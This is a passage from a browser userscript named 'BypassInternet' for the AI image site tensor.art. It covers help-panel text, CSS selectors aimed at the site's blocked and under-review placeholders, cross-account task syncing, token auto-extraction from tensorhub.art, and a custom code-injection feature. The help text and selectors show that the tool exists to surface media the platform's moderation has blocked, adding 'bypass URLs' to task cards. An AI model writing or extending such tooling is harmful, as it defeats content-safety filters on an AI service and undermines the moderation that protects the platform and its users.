        icon: 'fa-link',
        description: `<p><strong>What it is:</strong> Connect tensor.art and tensorhub.art to sync tasks and bypass content across both platforms.</p>
<p><strong>How to enable:</strong></p>
<ol>
  <li>Open floating panel → <strong>Settings</strong> tab</li>
  <li>Find <strong>"TensorHub Integration"</strong> section (collapsed)</li>
  <li>Check <strong>"Enable TensorHub Linker"</strong></li>
</ol>
<p><strong>Options when enabled:</strong></p>
<ul>
  <li><i class="fas fa-check-square"></i> <strong>Link User Tokens:</strong> Auto-extract tensorhub.art authentication</li>
  <li><i class="fas fa-check-square"></i> <strong>Link Tasks (Manual):</strong> Visit tensorhub.art, create content, reload to save tasks</li>
  <li><i class="fas fa-check-square"></i> <strong>Run on TensorHub Domain:</strong> Enable full floating panel + injections on tensorhub.art</li>
</ul>
<p><strong>How it works:</strong> Script monitors both domains' API responses, tags tasks with their source (tensor.art/tensorhub.art) automatically.</p>
<p><strong>Pro Tip:</strong> All synced tasks appear in <strong>Data Control</strong> tab with searchable metadata!</p>`
      },
      {
        title: 'Data Control Tab (NEW)',
        icon: 'fa-chart-bar',
        description: `<p><strong>What it is:</strong> Complete cache & task management hub with search, filtering, and multi-state deletion.</p>
<p><strong>How to access:</strong> Floating panel → <strong>"Data Control"</strong> tab</p>
<p><strong>Features at a glance:</strong></p>
<ul>
  <li><i class="fas fa-chart-line"></i> <strong>Cache Statistics:</strong> Total tasks/items, image/video breakdown</li>
  <li><i class="fas fa-search"></i> <strong>Advanced Search:</strong> By Task ID, Tool Name, Expiry Date, Type, Source</li>
  <li><i class="fas fa-filter"></i> <strong>Smart Filters:</strong> Click buttons to narrow down results</li>
  <li><i class="fas fa-circle-check"></i> <strong>Status Indicators:</strong> Active (green) | Hidden (yellow) | Permanent (red)</li>
  <li>🎛️ <strong>Bulk Controls:</strong> Clear All, Refresh, Restore, Recover items</li>
</ul>
<p><strong>Search Examples:</strong></p>
<ul>
  <li>Task ID: "123456789"</li>
  <li>Tool name: "flux"</li>
  <li>Expiry: "2026-02" or "Feb"</li>
  <li>Type: "image" or "video"</li>
  <li>Source: "tensorhub"</li>
</ul>`
      },
      {
        title: '3-Mode Cache Deletion (NEW)',
        icon: 'fa-trash-can',
        description: `<p><strong>What it is:</strong> Flexible deletion with 3 modes for different use cases.</p>
<p><strong>How to access:</strong> Right-click item → <strong>"Delete from Cache"</strong> OR use Data Control tab</p>
<p><strong>Deletion Modes:</strong></p>
<ul>
  <li><strong><i class="fas fa-circle" style="color:#ef4444"></i> Delete (Permanent):</strong> Remove completely. Won't auto-cache even if item reappears. Perfect for unwanted content.</li>
  <li><strong><i class="fas fa-circle" style="color:#f59e0b"></i> Delete (Regainable):</strong> Remove from view. Auto-recovers on reload if still available. Great for temporary cleanup.</li>
  <li><strong><i class="fas fa-eye-slash"></i> Hide:</strong> Keep in cache but hide from UI. Useful for archival without deletion.</li>
</ul>
<p><strong>Recovery:</strong></p>
<ul>
  <li>Hidden items: Data Control → Hidden Items section → "Restore" button</li>
  <li>Permanent items: Data Control → Permanently Deleted Items section → "Recover" button</li>
</ul>
<p><strong>Pro Tips:</strong></p>
<ul>
  <li>Use Permanent for spam/unwanted content</li>
  <li>Use Regainable for routine cleanup</li>
  <li>Use Hide for important items you want archived</li>
</ul>`
      },
      {
        title: 'Task Source Tracking (NEW)',
        icon: 'fa-tag',
        description: `<p><strong>What it is:</strong> Automatic origin tagging (tensor.art or tensorhub.art) for all tasks.</p>
<p><strong>How it works:</strong> Every task is labeled with its source domain when recorded. Shows platform origin clearly.</p>
<p><strong>Where to see source:</strong></p>
<ul>
  <li><strong>Item Modal:</strong> Task Info section shows "Source: [domain]" with link</li>
  <li><strong>Data Control Search:</strong> Filter by "Source" to show one platform</li>
  <li><strong>Accounts Tab:</strong> Breakdown of tasks by source for each account</li>
</ul>
<p><strong>Color Coding:</strong></p>
<ul>
  <li><i class="fas fa-palette"></i> <strong>tensor.art:</strong> Blue (#93c5fd)</li>
  <li><i class="fas fa-link"></i> <strong>tensorhub.art:</strong> Purple (#a78bfa)</li>
</ul>
<p><strong>Why it matters:</strong> Organize multi-platform workflows, track which platform generated which content!</p>`
      },
      {
        title: 'Advanced Search Engine (NEW)',
        icon: 'fa-magnifying-glass',
        description: `<p><strong>What it is:</strong> Fast full-text search across all cached tasks and items.</p>
<p><strong>How to use:</strong></p>
<ol>
  <li>Open <strong>Data Control</strong> tab</li>
  <li>Type any search term in the search box</li>
  <li>Results update instantly as you type</li>
</ol>
<p><strong>Search Filter Buttons:</strong></p>
<ul>
  <li><i class="fas fa-tag"></i> <strong>Task ID:</strong> Search by unique task identifier</li>
  <li><i class="fas fa-wrench"></i> <strong>Tool Name:</strong> Find by workflow/template name</li>
  <li><i class="fas fa-calendar"></i> <strong>Expiry:</strong> Filter by expiration date</li>
  <li><i class="fas fa-image"></i> <strong>Type:</strong> Image or Video media type</li>
  <li><i class="fas fa-link"></i> <strong>Source:</strong> tensor.art or tensorhub.art</li>
  <li><i class="fas fa-search"></i> <strong>All Fields:</strong> Search everything at once (default)</li>
</ul>
<p><strong>Results Show:</strong></p>
<ul>
  <li>Task results: ID, Tool, Created/Expiry, Source</li>
  <li>Item results: ID, Parent Task, Type, Expiry, Status badge</li>
</ul>
<p><strong>Quick Tips:</strong></p>
<ul>
  <li>Click filter buttons to toggle ON/OFF</li>
  <li>Combine multiple filters for precise results</li>
  <li>Partial matches work (e.g., "flux" finds "Flux-1.0")</li>
</ul>`
      },
      {
        title: 'Settings Tab (ENHANCED)',
        icon: 'fa-sliders',
        description: `<p><strong>What changed:</strong> Added quick-access TensorHub settings in floating window Settings tab.</p>
<p><strong>Settings in Floating Window:</strong></p>
<ul>
  <li>Preview Media, Auto-Download, Auto-Show Panel</li>
  <li>Auto-Detect Blocked Tasks (auto-add on generation complete)</li>
  <li>Force Tasks Across Accounts</li>
  <li><strong><i class="fas fa-link"></i> TensorHub Integration (NEW collapsible section)</strong></li>
</ul>
<p><strong>Collapsible Sections:</strong></p>
<ul>
  <li><strong>Injection Method:</strong> Safe View vs Inject On DOM</li>
  <li><strong>UI Settings:</strong> Theme, tooltips, modal options</li>
  <li><strong>Task Actions:</strong> Telegram, Discord, Download toggles</li>
  <li><strong>TensorHub Integration:</strong> All tensorhub-specific options</li>
</ul>
<p><strong>Advanced Settings:</strong> For headers, detailed tokens, visit <strong>tensor.art/settings</strong> page</p>
<p><strong>Note:</strong> All settings sync with tensor.art/settings automatically!</p>`
      },
      {
        title: 'Direct Bypass Links on Cards (NEW)',
        icon: 'fa-download',
        description: `<p><strong>What it is:</strong> Bypass URLs automatically injected into task Download cards.</p>
<p><strong>Where to find it:</strong> Task creation pages in the <strong>Download</strong> section</p>
<p><strong>What you'll see:</strong></p>
<ul>
  <li><i class="fas fa-note-sticky"></i> Full bypass URL (truncated with ellipsis)</li>
  <li><i class="fas fa-up-right-from-square"></i> <strong>Open Button:</strong> Opens URL in new tab</li>
  <li><i class="fas fa-copy"></i> <strong>Copy Button:</strong> Copies full URL to clipboard</li>
</ul>
<p><strong>When it appears:</strong> Automatically when tool detects blocked content bypass available</p>
<p><strong>Perfect for:</strong></p>
<ul>
  <li>1-click media access without opening floating window</li>
  <li>Quick sharing with teammates</li>
  <li>Direct integration with external tools</li>
  <li>Fast downloads without UI overhead</li>
</ul>
<p><strong>Pro Tip:</strong> Hover to see full URL, click to open/copy instantly!</p>`
      }
    ];

    // Categories for organization
    const categories = {
      'Getting Started': ['Getting Started'],
      'Core Features': ['Auto-Check for Items', 'Check Interval (Seconds)', 'Preview Media', 'Auto-Download on Detect', 'Auto-Expand on New Items', 'Inject On DOM', 'Inject Scope (Blocked or All)', 'Auto-Detect Blocked Tasks'],
      'Integration': ['Telegram Integration', 'Discord Webhooks', 'TensorHub Linker (NEW)'],
      'UI & Display': ['Tooltip & Help Overlays', 'Download Preview', 'Theme', 'Settings Tab (ENHANCED)'],
      'Cache Management': ['Enable URL Caching', 'Cache Duration (Days)', 'Data Control Tab (NEW)', '3-Mode Cache Deletion (NEW)', 'Advanced Search Engine (NEW)'],
      'Advanced': ['Telegram Delay', 'Task Source Tracking (NEW)', 'Direct Bypass Links on Cards (NEW)'],
      'Troubleshooting': ['If Items Keep Loading']
    };

    const generalInfo = document.createElement('div');
    generalInfo.style.cssText = `
      background: rgba(99, 102, 241, 0.1);
      border: 1px solid rgba(99, 102, 241, 0.3);
      border-radius: 8px;
      padding: 12px;
      margin-bottom: 12px;
      font-size: 12px;
      line-height: 1.6;
    `;
    generalInfo.innerHTML = `
      <strong style="color: #6366f1; display: block; margin-bottom: 8px;"><i class="fas fa-clipboard-list"></i> General Information & Tips</strong>
      <div>
        <p>BypassInternet runs entirely in your browser. Settings are stored locally and never sent anywhere.</p>
        <p>For advanced controls (headers, Telegram, tokens), use <strong>tensor.art/settings</strong>.</p>
        <p>Tip: Keep the floating window closed when not needed to reduce visual clutter.</p>
      </div>
    `;
    contentArea.appendChild(generalInfo);

    // Create section elements with categories
    const sectionElements = {};
    Object.entries(categories).forEach(([category, titles]) => {
      const categoryHeader = document.createElement('div');
      categoryHeader.className = 'help-category';
      categoryHeader.style.cssText = `
        font-size: 14px;
        font-weight: 700;
        color: #6366f1;
        margin-top: 20px;
        margin-bottom: 12px;
        padding-bottom: 8px;
        border-bottom: 2px solid rgba(99, 102, 241, 0.3);
      `;
      categoryHeader.textContent = category;
      contentArea.appendChild(categoryHeader);

      titles.forEach(title => {
        const section = helpSections.find(s => s.title === title);
        if (!section) return;

        const sectionDiv = document.createElement('div');
        sectionDiv.className = 'help-section';
        sectionDiv.setAttribute('data-section-title', section.title.toLowerCase());
        sectionDiv.setAttribute('data-section-desc', section.description.toLowerCase());
        sectionDiv.style.cssText = `
          background: ${settings.theme === 'dark' ? 'rgba(255,255,255,0.03)' : 'rgba(0,0,0,0.02)'};
          border: 1px solid ${settings.theme === 'dark' ? '#475569' : '#cbd5e1'};
          border-radius: 8px;
          padding: 12px;
          margin-bottom: 12px;
          transition: all 0.3s;
        `;

        const titleDiv = document.createElement('div');
        titleDiv.style.cssText = `
          font-weight: 600;
          color: #6366f1;
          margin-bottom: 8px;
          display: flex;
          align-items: center;
          gap: 8px;
        `;
        titleDiv.innerHTML = `<i class="fas ${section.icon}"></i> ${section.title}`;

        const descDiv = document.createElement('div');
        descDiv.style.cssText = `
          font-size: 12px;
          line-height: 1.7;
          color: ${settings.theme === 'dark' ? '#cbd5e1' : '#475569'};
          white-space: pre-wrap;
          word-break: break-word;
        `;
        descDiv.innerHTML = section.description;

        sectionDiv.appendChild(titleDiv);
        sectionDiv.appendChild(descDiv);
        contentArea.appendChild(sectionDiv);
        sectionElements[section.title] = { element: sectionDiv, category: categoryHeader };
      });
    });

    // Search functionality
    searchInput.oninput = (e) => {
      const query = e.target.value.toLowerCase().trim();

      if (!query) {
        // Show all sections and categories
        Object.values(sectionElements).forEach(({ element, category }) => {
          element.style.display = 'block';
          category.style.display = 'block';
        });
        return;
      }

      // Hide all categories first
      document.querySelectorAll('.help-category').forEach(cat => cat.style.display = 'none');

      // Filter sections
      let matchCount = 0;
      Object.values(sectionElements).forEach(({ element, category }) => {
        const title = element.getAttribute('data-section-title');
        const desc = element.getAttribute('data-section-desc');

        if (title.includes(query) || desc.includes(query)) {
          element.style.display = 'block';
          element.style.background = settings.theme === 'dark' ? 'rgba(99, 102, 241, 0.15)' : 'rgba(99, 102, 241, 0.08)';
          category.style.display = 'block';
          matchCount++;
        } else {
          element.style.display = 'none';
        }
      });

      // Show "no results" message
      const existingNoResults = contentArea.querySelector('.no-results');
      if (existingNoResults) existingNoResults.remove();

      if (matchCount === 0) {
        const noResults = document.createElement('div');
        noResults.className = 'no-results';
        noResults.style.cssText = `
          text-align: center;
          padding: 40px 20px;
          color: #94a3b8;
          font-size: 14px;
        `;
        noResults.innerHTML = `
          <i class="fas fa-search" style="font-size: 48px; margin-bottom: 16px; opacity: 0.5;"></i>
          <p>No help topics found for "<strong>${e.target.value}</strong>"</p>
          <p style="font-size: 12px;">Try different keywords or browse all topics</p>
        `;
        contentArea.appendChild(noResults);
      }
    };

    helpContainer.appendChild(contentArea);

    return helpContainer;
  }

  // Default HTML selectors used for injection
  const defaultSelectors = {
    blockedShell: 'div.w-full.h-full.flex-c-c.bg-fill-default.border',
    blockedOverlays: 'div.cursor-not-allowed, div.flex-c-c.bg-fill-default, div.absolute, span.absolute',
    mediaSlots: 'div.rd-8.overflow-hidden',
    dropdownMenu: '.n-dropdown-menu',
    taskDetailsBlock: 'div.space-y-4.px-12.py-8.rd-8.bg-fill-default',
    mediaContainer: 'div.grid.gap-8',
    thumbnailContainer: '.thumbnail-image, div.relative, .rd-8',
    forbiddenImages: 'img[src*=\"forbidden.jpg\"], img[srcset*=\"forbidden.jpg\"], img[src*=\"reviewing.png\"], img[srcset*=\"reviewing.png\"]',
    taskCard: '[data-bypass-task-id]',
    blockedLabel: 'p.text-14.lh-20.fw-500'
  };

  // Load custom selectors from settings or use defaults
  function getSelectors() {
    const custom = settings.customSelectors || {};
    return { ...defaultSelectors, ...custom };
  }

  function saveCustomSelectors(selectors) {
    settings.customSelectors = selectors;
    saveSettings();
  }

  function resetSelector(key) {
    if (settings.customSelectors && settings.customSelectors[key]) {
      delete settings.customSelectors[key];
      saveSettings();
    }
  }

  function createDevelopersSelectorsContent() {
    const devsContainer = document.createElement('div');
    devsContainer.style.cssText = `
      display: flex;
      flex-direction: column;
      gap: 16px;
      padding: 12px;
      overflow-y: auto;
      height: 100%;
    `;

    // Warning banner
    const warning = document.createElement('div');
    warning.style.cssText = `
      background: rgba(239, 68, 68, 0.1);
      border: 2px solid #ef4444;
      border-radius: 8px;
      padding: 16px;
      display: flex;
      gap: 12px;
      align-items: start;
    `;
    warning.innerHTML = `
      <i class=\"fas fa-exclamation-triangle\" style=\"color: #ef4444; font-size: 24px; flex-shrink: 0;\"></i>
      <div>
        <div style=\"color: #ef4444; font-weight: 700; font-size: 14px; margin-bottom: 4px;\"><i class=\"fas fa-triangle-exclamation\"></i> Advanced Settings - Use with Caution</div>
        <div style=\"color: #fca5a5; font-size: 12px; line-height: 1.5;\">
          Modifying these HTML selectors can break the entire script functionality. Only change if you know what you're doing.
          Always use the Reset button to restore defaults if something breaks.
        </div>
      </div>
    `;
    devsContainer.appendChild(warning);

    // Info section
    const info = document.createElement('div');
    info.style.cssText = `
      background: rgba(99, 102, 241, 0.1);
      border: 1px solid rgba(99, 102, 241, 0.3);
      border-radius: 8px;
      padding: 12px;
      font-size: 12px;
      color: ${settings.theme === 'dark' ? '#cbd5e1' : '#475569'};
      line-height: 1.6;
    `;
    info.innerHTML = `
      <strong style=\"color: #6366f1;\"><i class=\"fas fa-info-circle\"></i> What are these selectors?</strong><br>
      These are CSS selectors used to find and inject bypass content into blocked media on the page.
      If the website's HTML structure changes, you may need to update these selectors.
    `;
    devsContainer.appendChild(info);

    // Selectors list
    const currentSelectors = getSelectors();
    const selectorEntries = Object.entries(defaultSelectors);

    selectorEntries.forEach(([key, defaultValue]) => {
      const currentValue = currentSelectors[key];
      const isModified = currentValue !== defaultValue;

      const selectorCard = document.createElement('div');
      selectorCard.style.cssText = `
        background: ${settings.theme === 'dark' ? 'rgba(15, 23, 42, 0.6)' : 'rgba(248, 250, 252, 1)'};
        border: 1px solid ${isModified ? '#6366f1' : (settings.theme === 'dark' ? '#475569' : '#cbd5e1')};
        border-radius: 8px;
        padding: 12px;
        display: flex;
        flex-direction: column;
        gap: 8px;
      `;

      const header = document.createElement('div');
      header.style.cssText = 'display: flex; justify-content: space-between; align-items: center;';

      const label = document.createElement('div');
      label.style.cssText = `
        font-size: 13px;
        font-weight: 600;
        color: ${settings.theme === 'dark' ? '#f1f5f9' : '#0f172a'};
      `;
      label.innerHTML = `<i class=\"fas fa-code\"></i> ${key}`;
      if (isModified) {
        const modBadge = document.createElement('span');
        modBadge.style.cssText = 'margin-left: 8px; background: #6366f1; color: white; padding: 2px 6px; border-radius: 4px; font-size: 10px;';
        modBadge.textContent = 'MODIFIED';
        label.appendChild(modBadge);
      }

      const resetBtn = document.createElement('button');
      resetBtn.style.cssText = `
        background: transparent;
        border: 1px solid ${settings.theme === 'dark' ? '#475569' : '#cbd5e1'};
        color: ${settings.theme === 'dark' ? '#cbd5e1' : '#475569'};
        padding: 4px 8px;
        border-radius: 4px;
        cursor: pointer;
        font-size: 11px;
        transition: all 0.3s;
      `;
      resetBtn.innerHTML = '<i class=\"fas fa-undo\"></i> Reset';
      resetBtn.onclick = () => {
        resetSelector(key);
        input.value = defaultValue;
        input.style.borderColor = settings.theme === 'dark' ? '#475569' : '#cbd5e1';
        selectorCard.style.borderColor = settings.theme === 'dark' ? '#475569' : '#cbd5e1';
        if (modBadge) modBadge.remove();
        showToast('Selector reset to default', 'success');
      };

      header.appendChild(label);
      header.appendChild(resetBtn);

      const input = document.createElement('input');
      input.type = 'text';
      input.value = currentValue;
      input.style.cssText = `
        width: 100%;
        padding: 8px;
        background: ${settings.theme === 'dark' ? '#0f172a' : '#ffffff'};
        border: 1px solid ${isModified ? '#6366f1' : (settings.theme === 'dark' ? '#475569' : '#cbd5e1')};
        border-radius: 6px;
        color: ${settings.theme === 'dark' ? '#f1f5f9' : '#0f172a'};
        font-size: 12px;
        font-family: 'Courier New', monospace;
        outline: none;
      `;
      input.onfocus = () => input.style.borderColor = '#6366f1';
      input.onblur = () => {
        const isNowModified = input.value !== defaultValue;
        input.style.borderColor = isNowModified ? '#6366f1' : (settings.theme === 'dark' ? '#475569' : '#cbd5e1');
      };
      input.onchange = () => {
        const newSelectors = { ...settings.customSelectors };
        if (input.value === defaultValue) {
          delete newSelectors[key];
        } else {
          newSelectors[key] = input.value;
        }
        saveCustomSelectors(newSelectors);
        showToast('Selector updated', 'success');
        // Update UI to show modified state
        setTimeout(() => updateUI(), 100);
      };

      const defaultInfo = document.createElement('div');
      defaultInfo.style.cssText = `
        font-size: 10px;
        color: ${settings.theme === 'dark' ? '#94a3b8' : '#64748b'};
        font-family: 'Courier New', monospace;
        padding: 6px;
        background: ${settings.theme === 'dark' ? 'rgba(0, 0, 0, 0.3)' : 'rgba(0, 0, 0, 0.05)'};
        border-radius: 4px;
      `;
      defaultInfo.innerHTML = `<strong>Default:</strong> ${defaultValue}`;

      selectorCard.appendChild(header);
      selectorCard.appendChild(input);
      selectorCard.appendChild(defaultInfo);
      devsContainer.appendChild(selectorCard);
    });

    // Reset all button
    const resetAllBtn = document.createElement('button');
    resetAllBtn.style.cssText = `
      width: 100%;
      padding: 12px;
      background: linear-gradient(135deg, #ef4444 0%, #dc2626 100%);
      border: none;
      border-radius: 8px;
      color: white;
      cursor: pointer;
      font-size: 14px;
      font-weight: 600;
      margin-top: 8px;
      transition: all 0.3s;
    `;
    resetAllBtn.innerHTML = '<i class=\"fas fa-redo\"></i> Reset All Selectors to Defaults';
    resetAllBtn.onclick = () => {
      if (confirm('Are you sure you want to reset ALL selectors to their default values? This will overwrite any custom changes.')) {
        settings.customSelectors = {};
        saveSettings();
        showToast('All selectors reset to defaults', 'success');
        updateUI();
      }
    };
    resetAllBtn.onmouseover = () => resetAllBtn.style.transform = 'translateY(-2px)';
    resetAllBtn.onmouseout = () => resetAllBtn.style.transform = 'translateY(0)';
    devsContainer.appendChild(resetAllBtn);

    return devsContainer;
  }

  function makeId(prefix = 'id') {
    return `${prefix}_${Date.now().toString(36)}_${Math.random().toString(16).slice(2)}`;
  }

  function loadDevInjectTasks() {
    try {
      const raw = localStorage.getItem(DEV_INJECT_TASKS_KEY);
      if (!raw) return [];
      const parsed = JSON.parse(raw);
      if (!Array.isArray(parsed)) return [];
      return parsed.map(normalizeDevInjectTask).filter(Boolean);
    } catch {
      return [];
    }
  }

  function saveDevInjectTasks(tasks) {
    const safe = (tasks || []).map(normalizeDevInjectTask).filter(Boolean);
    localStorage.setItem(DEV_INJECT_TASKS_KEY, JSON.stringify(safe));
  }

  function normalizeDevInjectTask(task) {
    if (!task || typeof task !== 'object') return null;
    const now = new Date().toISOString();

    const guessBuiltinId = (t) => {
      try {
        const name = String(t?.name || '').toLowerCase();
        const domains = Array.isArray(t?.domains) ? t.domains.map(d => String(d || '').toLowerCase()) : [];
        const include = Array.isArray(t?.include) ? t.include.map(s => String(s || '').toLowerCase()) : [];
        const looksInstagram = name.includes('instagram') || domains.some(d => d.includes('instagram.com'));
        const looksExtractor = name.includes('extract') || name.includes('thumbnail') || name.includes('media');
        const looksPost = include.some(p => p.includes('instagram.com/p/') || p.includes('instagram.com/reel/') || p.includes('instagram.com/reels/'));
        if (looksInstagram && (looksExtractor || looksPost)) return 'instagram-extractor';
      } catch {
        // no-op
      }
      return null;
    };

    const out = {
      id: typeof task.id === 'string' && task.id ? task.id : makeId('inject'),
      name: typeof task.name === 'string' && task.name.trim() ? task.name.trim() : 'Untitled Script',
      enabled: typeof task.enabled === 'boolean' ? task.enabled : false,
      createdAt: typeof task.createdAt === 'string' ? task.createdAt : now,
      updatedAt: typeof task.updatedAt === 'string' ? task.updatedAt : now,
      runAt: ['domcontentloaded', 'idle'].includes(task.runAt) ? task.runAt : 'idle',
      domains: Array.isArray(task.domains) && task.domains.length ? task.domains : [location.hostname],
      matchMode: ['all', 'rules'].includes(task.matchMode) ? task.matchMode : 'all',
      include: Array.isArray(task.include) ? task.include.filter(Boolean).map(String) : [],
      exclude: Array.isArray(task.exclude) ? task.exclude.filter(Boolean).map(String) : [],
      builtinId: typeof task.builtinId === 'string' && task.builtinId.trim() ? task.builtinId.trim() : guessBuiltinId(task),
      code: {
        js: typeof task.code?.js === 'string' ? task.code.js : '',
        css: typeof task.code?.css === 'string' ? task.code.css : '',
        html: typeof task.code?.html === 'string' ? task.code.html : ''
      },
      lastRunAt: typeof task.lastRunAt === 'string' ? task.lastRunAt : null,
      lastErrorAt: typeof task.lastErrorAt === 'string' ? task.lastErrorAt : null,
      lastError: typeof task.lastError === 'string' ? task.lastError : null
    };
    return out;
  }

  function runBuiltinInjectTask(builtinId, ctx) {
    const id = String(builtinId || '').trim();
    if (!id) return;

    if (id === 'instagram-extractor') {
      const STATE_KEY = '__bypassIgExtractorBuiltin';
      if (window[STATE_KEY]?.installed) return;
      window[STATE_KEY] = { installed: true, lastUrl: location.href };

      const pickMeta = (prop) => document.querySelector('meta[property="' + prop + '"]')?.content || '';
      const pickName = (name) => document.querySelector('meta[name="' + name + '"]')?.content || '';
      const pickCanonical = () => document.querySelector('link[rel="canonical"]')?.href || location.href;

      const tryJsonLd = () => {
        try {
          const scripts = Array.from(document.querySelectorAll('script[type="application/ld+json"]'));
          for (const s of scripts) {
            const txt = (s.textContent || '').trim();
            if (!txt) continue;
            const j = JSON.parse(txt);
            const list = Array.isArray(j) ? j : [j];
            for (const entry of list) {
              if (!entry || typeof entry !== 'object') continue;
              const contentUrl = entry.contentUrl || entry.embedUrl || '';
              const thumbnailUrl = entry.thumbnailUrl || '';
              const image = Array.isArray(entry.image) ? entry.image[0] : entry.image;
              if (contentUrl || thumbnailUrl || image) {
                return {
                  contentUrl: String(contentUrl || ''),
                  thumbnailUrl: String(thumbnailUrl || image || '')
                };
              }
            }
          }
        } catch {
          // ignore
        }
        return { contentUrl: '', thumbnailUrl: '' };
      };

      const extract = () => {
        const ogImage = pickMeta('og:image');
        const ogVideo = pickMeta('og:video') || pickMeta('og:video:url');
        const ogType = pickMeta('og:type');
        const title = pickMeta('og:title') || pickName('description') || '';
        const canonical = pickCanonical();
        const ld = tryJsonLd();
        const bestVideo = ogVideo || ld.contentUrl;
        const bestImage = ogImage || ld.thumbnailUrl;
        return { ogType, title, canonical, bestVideo, bestImage };
      };

      const closePanel = () => {
        const p = document.getElementById('bypass-ig-extract-panel');
        if (p) p.remove();
      };

      const showPanel = async () => {
        closePanel();
        const data = extract();
        const hasAny = !!(data.bestVideo || data.bestImage);
        if (!hasAny) {
          ctx?.toast?.('No OG media found on this page yet. Try again after it loads.', 'warning');
          return;
        }
        const best = data.bestVideo || data.bestImage;
        try {
          if (navigator.clipboard?.writeText) await navigator.clipboard.writeText(best);
          ctx?.toast?.('Copied media URL to clipboard', 'success');
        } catch {
          ctx?.toast?.('Could not copy automatically (clipboard blocked).', 'warning');
        }

        const panel = document.createElement('div');
        panel.id = 'bypass-ig-extract-panel';
        const esc = (v) => String(v || '')
          .replace(/&/g, '&amp;')
          .replace(/</g, '&lt;')
          .replace(/>/g, '&gt;')
          .replace(/"/g, '&quot;')
          .replace(/'/g, '&#39;');
        const parts = [];
        parts.push('<div style="display:flex; align-items:center; justify-content:space-between; gap:10px;">');
        parts.push('<div style="font-weight:900; font-size:13px;">Instagram Extract</div>');
        parts.push('<button class="bypass-ig-action" data-close style="background:rgba(148,163,184,0.12); border-color:rgba(148,163,184,0.25);">Close</button>');
        parts.push('</div>');
        parts.push('<div class="bypass-ig-row"><strong>Page:</strong> <a href="' + esc(data.canonical) + '" target="_blank" rel="noopener noreferrer">' + esc(data.canonical) + '</a></div>');
        if (data.bestVideo) {
          parts.push('<div class="bypass-ig-row"><strong>Video:</strong> <a href="' + esc(data.bestVideo) + '" target="_blank" rel="noopener noreferrer">' + esc(data.bestVideo) + '</a></div>');
        }
        if (data.bestImage) {
          parts.push('<div class="bypass-ig-row"><strong>Image:</strong> <a href="' + esc(data.bestImage) + '" target="_blank" rel="noopener noreferrer">' + esc(data.bestImage) + '</a></div>');
        }
        parts.push('<div class="bypass-ig-actions">');
        parts.push('<button class="bypass-ig-action" data-copy>Copy best URL</button>');
        parts.push('<button class="bypass-ig-action" data-open>Open best URL</button>');
        parts.push('</div>');
        parts.push('<div style="margin-top:10px; font-size:11px; opacity:0.8;">Tip: works best on /p/ and /reel/ pages. If Instagram hasn\'t finished loading, click again.</div>');
        panel.innerHTML = parts.join('');
        panel.querySelector('[data-close]').onclick = closePanel;
        panel.querySelector('[data-open]').onclick = () => window.open(best, '_blank');
        panel.querySelector('[data-copy]').onclick = async () => {
          try {
            if (navigator.clipboard?.writeText) await navigator.clipboard.writeText(best);
            ctx?.toast?.('Copied best URL', 'success');
          } catch {
            ctx?.toast?.('Copy failed (clipboard blocked).', 'error');
          }
        };
        document.body.appendChild(panel);
      };

      const ensureButton = () => {
        if (document.getElementById('bypass-ig-extract-btn')) return;
        const btn = document.createElement('button');
        btn.id = 'bypass-ig-extract-btn';
        btn.type = 'button';
        btn.innerHTML = '<span style="font-size:14px;">⤓</span> Extract';
        btn.onclick = showPanel;
        document.body.appendChild(btn);
      };

      ensureButton();

      // Handle SPA navigation by re-installing button when URL changes.
      setInterval(() => {
        try {
          if (window[STATE_KEY].lastUrl !== location.href) {
            window[STATE_KEY].lastUrl = location.href;
            ensureButton();
            closePanel();
          }
        } catch {
          // ignore
        }
      }, 900);

      // Occasionally re-ensure button exists
      setInterval(() => {
        try { ensureButton(); } catch { /* ignore */ }
      }, 3000);

      return;
    }
  }

  function updateDevInjectTask(taskId, patch) {
    const tasks = loadDevInjectTasks();
    const idx = tasks.findIndex(t => t.id === taskId);
    if (idx === -1) return false;
    tasks[idx] = normalizeDevInjectTask({ ...tasks[idx], ...patch, updatedAt: new Date().toISOString() });
    saveDevInjectTasks(tasks);
    return true;
  }

  function deleteDevInjectTask(taskId) {
    const tasks = loadDevInjectTasks();
    const next = tasks.filter(t => t.id !== taskId);
    saveDevInjectTasks(next);
  }

  function wildcardToRegex(pattern) {
    // Very small wildcard matcher: '*' => '.*'
    // Escape all other regex chars.
    const esc = String(pattern)
      .replace(/[.+^${}()|[\]\\]/g, '\\$&')
      .replace(/\*/g, '.*');
    return new RegExp(`^${esc}$`, 'i');
  }

  function urlMatchesPatterns(url, patterns) {
    const list = (patterns || []).map(p => String(p || '').trim()).filter(Boolean);
    if (!list.length) return false;
    return list.some(p => {
      try {
        return wildcardToRegex(p).test(url);
      } catch {
        return false;
      }
    });
  }

  function doesInjectTaskMatchUrl(task, url = location.href) {
    const t = normalizeDevInjectTask(task);
    if (!t) return false;
    const host = location.hostname;
    const domains = (t.domains || []).map(String);
    const domainOk = domains.includes('*') || domains.includes(host);
    if (!domainOk) return false;

    if (t.matchMode === 'all') return true;
    const includeOk = t.include.length ? urlMatchesPatterns(url, t.include) : false;
    const excludeHit = t.exclude.length ? urlMatchesPatterns(url, t.exclude) : false;
    return includeOk && !excludeHit;
  }

  function ensureInjectDomAnchors(taskId) {
    const cssId = `bypass-inject-style-${taskId}`;
    const htmlId = `bypass-inject-html-${taskId}`;
    let styleEl = document.getElementById(cssId);
    if (!styleEl) {
      styleEl = document.createElement('style');
      styleEl.id = cssId;
      styleEl.setAttribute('data-bypass-inject', taskId);
      document.head.appendChild(styleEl);
    }
    let htmlEl = document.getElementById(htmlId);
    if (!htmlEl) {
      htmlEl = document.createElement('div');
      htmlEl.id = htmlId;
      htmlEl.setAttribute('data-bypass-inject', taskId);
      htmlEl.style.display = 'contents';
      document.body.appendChild(htmlEl);
    }
    return { styleEl, htmlEl };
  }

  function executeInjectTask(task, trigger = 'auto') {
    const t = normalizeDevInjectTask(task);
    if (!t?.enabled) return;
    if (!doesInjectTaskMatchUrl(t, location.href)) return;

    const ctx = {
      task: { id: t.id, name: t.name },
      trigger,
      log: (msg, details = null, level = 'info') => devLog('inject', String(msg || ''), details, level, 'developer'),
      toast: (msg, type = 'info') => showToast(String(msg || ''), type),
      $: (sel, root = document) => root.querySelector(sel),
      $$: (sel, root = document) => Array.from(root.querySelectorAll(sel))
    };

    try {
      const { styleEl, htmlEl } = ensureInjectDomAnchors(t.id);
      styleEl.textContent = t.code.css || '';
      htmlEl.innerHTML = t.code.html || '';
    } catch (err) {
      updateDevInjectTask(t.id, { lastError: String(err?.message || err), lastErrorAt: new Date().toISOString() });
